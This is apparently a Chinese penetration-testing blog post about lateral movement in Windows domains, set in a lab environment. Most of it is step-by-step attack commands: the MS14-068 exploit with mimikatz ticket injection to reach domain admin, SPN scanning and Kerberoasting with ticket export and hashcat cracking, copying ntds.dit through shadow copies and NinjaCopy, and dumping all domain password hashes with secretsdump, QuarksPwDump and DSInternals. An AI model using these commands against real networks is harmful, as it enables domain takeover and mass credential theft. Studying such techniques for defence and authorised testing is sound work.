Yoga7xm's Blog

内网渗透--横向移动(SPN攻击)

字数统计: 2.3k阅读时长: 10 min
2019/04/23 Share

MS14-068

简述

MS14-068编号CVE-2014-6324,补丁为3011780,该漏洞允许域内任何一个普通用户,将自己提升至域管权限

复现

环境

  • 域控:server08.yogalab.com:192.168.1.240
  • 域内主机:win7.yogalab.com:192.168.1.241
  • 域外主机:192.168.1.164

条件

  1. 域成员账号密码
  2. 域成员SID
  3. 域控地址
  4. 03以上服务器或PC

流程

  1. 利用ms14-068.py生成TGT票据
1
ms14-068.exe -u win7@yogalab.com -p win07.yoga.com -s S-1-5-21-2518664530-2525196109-2750174738-1107 -d 192.168.1.240

-d为域控的地址,成功后会自动创建.ccache文件

ms14_cache.png

  1. 利用mimikatz将票据注入到当前内存中,伪造凭证
1
2
3
kerberos::list
kerberos::purge
kerberos::ptc *.ccache

ms14_mimi.png

  1. 测试
1
dir \\server08.yogalab.com\c$

ms14_dir.png

msf

1
2
3
4
5
6
7
8
9
10
11
12
#生成bin文件
msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

#然后转换成kirbi文件
mimikatz # kerberos::clist "20141223201326_default_172.16.158.135_windows.kerber
os_194320.bin" /export

#加载文件
kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi

#提权
use exploit/windows/local/current_user_psexec

扩充

  1. mimikatz不能在xp和03机器中注入,而且mimikatz2.0版本才有kerberos::ptc这个模块
  2. 不管是域机器域内账户还是本地账号,只要清除凭证后都能利用
  3. 域外主机如果有全部所需信息,也能直接提升为域管权限,前提是加域控为DNS服务器

PAC

1
特权属性证书,是微软的一种数据结构,用于Windows域环境下的身份验证,通常包含Group UID+User UID以及用于认证的签名

利用过程及原因

普通用户向域控发送AS_REQ请求,数据包中将`include-PAC`标志置为FALSE,返回的AS_REP响应中不会包含PAC信息(带有PAC的数据包大小可达到上千字节)

ms14_as.png

1
2
3
由于漏洞的原因,KDC允许任意签名算法,所以Pykeke仅仅用MD5对用户UID进行签名来伪造PAC,然后用一串随机字符串`Subkey`进行加密,同样的将include-PAC置为FALSE,发往KDC的TGS_REQ请求。

KDC从数据包中拿出Subkey并解密得到伪造的PAC,MD5并没有hash参与签名所以通过认证,然后用Krbtgt和Server的Hash进行重新签名生成一个合法的PAC,从而组合成新的TGT返回TGS_REP响应

ms14_tgs.png

1
这样普通的用户就能成为域控上的域管理员了

SPN攻击

SPN扫描

简述

1
服务主体名称,是一个服务唯一的标识符。Kerberos身份验证使用SPN将服务实例与服务登陆账户相关联,如果在一个林或域中安装多个服务实例,那么每个实例都必须具有自己的SPN。

标准格式

1
2
3
4
5
6
7
8
9
<service class>/<host>:<port>/<service name>

#必须元素
<service class>:标识服务类的字符串
<host>:服务所在主机名称

#额外元素
<port>:服务端口
<service name>:服务名称

查询服务名

分为两种:

当一个服务的权限为Local System或者Network Service,则SPN注册在本地账户下

当一个服务的权限为域用户,则SPN注册在域用户账户下

常见的服务实例

1
2
3
4
5
MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
exchangeMDB/adsmsEXCAS01.adsecurity.org
TERMSERV/adsmsEXCAS01.adsecurity.org
WSMAN/adsmsEXCAS01.adsecurity.org
Microsoft Virtual Console Service/adsmsHV01.adsecurity.org

扫描

扫描Kerberos服务实例名称,通过请求特定的SPN类型的服务主体名称来查找服务。不需要进行批量的网络端口扫描,在一个大型域中通常会有不止一个服务注册SPN,所以通过SPN扫描来查看域内服务。

最大的优点是:不用直接和服务主机建立连接,隐蔽性高

原理

利用LDAP协议向域控中安装的LDAP服务查询SPN内容

查询域内所有的SPN:

1
setspn -T yogalab.com -q */*

扫描工具

  1. Discover-PSMSSQLServers

    用来查询已经注册了的MSSQL类型的SPN

  2. GetUserSPNs.ps1

    用来查询域内注册的SPN。

  3. PowerView.ps1

powerview.png

Kerberoasting攻击

原理

在kerberos协议TGS_REP中,TGS会返回个Client一个用Server-Key加密的票据Server Ticket。当Kerberos协议设置Ticket加密方式为RC4的时候,就能通过爆破Server Ticket从而获取Server的NTLM Hash

RC4.png

思路

  1. 查询域内SPN,找到可以利用的SPN
    • 该SPN注册在域用户账户Users下
    • 域用户账户的权限很高
  2. 请求Server Ticket
  3. 导出Server Ticket
  4. 暴力破解

方法

实现一

1.获取可以利用的SPN

  1. 用于powershell的Active Directory模块(域控会安装)
1
2
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
  1. Powerview.ps1
1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

powerview2.png

  1. GetUserSPNs.ps1
1
cscript GetUserSPNs.vbs

getuserspns.png

2.请求TGS

请求指定的Server Ticket

1
2
3
$SPNName = 'MSSQLSvc/win72.yogalab.com:1433'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

请求所有的Server Ticket

1
2
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

获取到RC4方式加密的票据,klist可以查看

3.导出Server Ticket

1
mimikatz # kerberos::list /export

4.破解

1
./tgsrepcrack.py wordlist.txt 1-40a00000-admin@MSSQLSvc~win72.yogalab.com~1433-YOGALAB.COM.kirbi

实现二

使用Invoke-Kerberos(Empire中自带)通过提取票据传输时的原始字节,转换成hashcat能够直接爆破的字符串

1
2
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Outputformat Hashcat | fl > test.txt

紧接着用hashcat进行爆破

1
hashcat64.exe –m 13100 test.txt password.list –force

ntds.dit

ntds.dit,活动目录的数据库文件,包含了有关活动目录域中所有对象的信息以及所有域用户和计算机账户的NTLM Hash。

但是只能由可以登录DC的用户访问:

  • Enterprise Admins (目录林管理员组)
  • Domain Admins (域管理员组)
  • Administrators (管理员组)
  • Backup Operators (备份操作成员)
  • Account Operators (账户管理成员)
  • Print Operators (打印机操作组)

存放在两个位置:

  1. %SystemRoot%\NTDS\Ntds.dit:真正的数据文件
  2. %SystemRoot%\System32\Ntds.dit:分发副本,当一台机器升级到域控时,将该文件拷贝到上一个路径中

卷影副本获取

1
卷影副本,也称快照,可以通过网络共享上的即时点副本。利用共享文件夹的卷影副本可以查看网络文件夹在过去某一时间点的内容

特点

  1. 从server03开始支持
  2. 系统默认在特定条件下自动创建数据备份
  3. 禁用卷影副本服务会影响系统正常使用
  4. 调用服务会有日志文件,事件为7036和98

ntdsutil

server03以后域环境默认安装

  1. 查询当前快照
1
2
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
  1. 创建快照
1
ntdsutil snapshot "activate instance ntds" create quit quit

GUID为{4c5d1aa5-2c4f-44d4-977e-2caac3dcd9fc}

  1. 挂载快照
1
ntdsutil snapshot "mount {4c5d1aa5-2c4f-44d4-977e-2caac3dcd9fc}" quit quit

快照 {885fdc52-5147-4cf5-9947-156ac01724e4} 已作为 C:\$SNAP_201904261745_VOLUMEC$\ 装载

  1. 复制ntds.dit
1
copy C:\$SNAP_201904261745_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
  1. 卸载和删除快照
1
2
ntdsutil snapshot  "unmount {4c5d1aa5-2c4f-44d4-977e-2caac3dcd9fc}" quit quit
ntdsutil snapshot "delete {4c5d1aa5-2c4f-44d4-977e-2caac3dcd9fc}" quit quit

ntdsutil.png

vssadmin

server08之后域环境默认安装

  1. 查询当前系统快照
1
vssadmin list shadows
  1. 创建快照
1
vssadmin create shadow /for=c:

获得卷名为:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2;ID为{f46a2c74-5e6e-49af-a8ad-33347612064e}

  1. 复制ntds.dit
1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
  1. 删除快照
1
vssadmin delete shadows /for=c: /quiet

vshadow

系统默认不支持,需要在SDK中获取

  1. 查询
1
vshadow.exe -q
  1. 创建快照
1
vshadow.exe -p -nw C:

获得SnapshotSetID为{809b77cc-cf9a-4102-b802-08e97d10e615}

获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e5446d464f83}

获得Shadow copy device name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

  1. 复制ntds.dit
1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
  1. 删除快照
1
2
3
vshadow -dx={809b77cc-cf9a-4102-b802-08e97d10e615} 
#或者是
vshadow -ds={ef99d039-9a38-4e8b-9f57-e5446d464f83}

vssown.vbs

vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取

  1. 启动服务
1
2
cscript vssown.vbs /start
cscript vssown.vbs /status
  1. 创建快照
1
2
cscript vssown.vbs /create C
cscript vssown.vbs /list
  1. 把SYSTEM和ntds.dit文件复制本地
1
2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit .
  1. 删除快照并暂停服务
1
2
cscript vssown.vbs /delete *
cscript vssown.vbs /stop

Copy-VSS.ps1

通过读取注册表的值

1
2
3
4
5
#指定拷贝的目标路径
Copy-VSS -DestinationDir C:\tmp\

#指定NTDS文件的路径,导出的ntds.dit可使用QuarkPwDump分析
Copy-VSS -DestinationDir C:\tmp -ntdsSource D:\ntds\ntds.dit

NinjaCopy获取

通过获取卷的读取句柄和解析NTFS来复制NTDS.dit,没有调用卷影副本服务所以不会产生日志

1
2
. .\NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\tmp\ntds.dit"

ntds.dit提取hash

secretsdump.py

来自Imapacket工具包,需要ntds.dit和SYSTEM.hiv文件

1
2
3
4
#获取hive文件
reg save hklm\system system.hive

python secretsdump.py -ntds /root/tmp/ntds.dit -system /root/tmp/system.hive LOCAL

secretdump.png

esedbexport+NtdsXtract

利用esedbexport从ntds.dit中提取出表,然后使用ntdsxtract提取域中信息,耗时一般都比较长

  1. 提取表
1
/usr/local/bin/esedbexport -m tables /root/tmp/ntds.dit

会在ntds.dit.export文件夹存放提取出来的表,一共有十二个

esedbexport.png

  1. 提取信息

dsusers.py

需要datatable、link_table、system hive可以从表中提取用户信息以及hash值

1
python dsusers.py ../datatable.3 ../link_table.5 output --syshive ../system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout

dsusers.png

dscomputers.py

只需要datatable即可输出域中计算机信息

1
python dscomputers.py ../datatable.3 ds_output --csvoutfile dc2008.csv

QuarksPwDump.exe

利用ntdsutil复制得到的ntds文件提取账户hash

1
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hiv -o pass.txt

quarkspwdump.png

DSInternals

DSInternals PowerShell Module

要求:

  1. windows powershell 3+
  2. .NET Framework 4.5+

利用system.hive和ntds.dit即可

导出域内所有Hash

1
2
$key = Get-BootKey -SystemHivePath "C:\tmp\system.hive"
Get-ADDBAccount -All -DBPath "C:\tmp\ntds.dit" -BootKey $key | Out-File pass.txt
CATALOG
  1. 1. MS14-068
    1. 1.1. 简述
    2. 1.2. 复现
    3. 1.3. 利用过程及原因
  2. 2. SPN攻击
    1. 2.1. SPN扫描
      1. 2.1.1. 简述
      2. 2.1.2. 标准格式
      3. 2.1.3. 扫描
  3. 3. Kerberoasting攻击
    1. 3.1. 原理
    2. 3.2. 思路
    3. 3.3. 方法
  4. 4. ntds.dit
    1. 4.1. 卷影副本获取
      1. 4.1.1. ntdsutil
      2. 4.1.2. vssadmin
      3. 4.1.3. vshadow
      4. 4.1.4. vssown.vbs
    2. 4.2. Copy-VSS.ps1
    3. 4.3. NinjaCopy获取
    4. 4.4. ntds.dit提取hash
      1. 4.4.1. secretsdump.py
      2. 4.4.2. esedbexport+NtdsXtract
      3. 4.4.3. QuarksPwDump.exe
      4. 4.4.4. DSInternals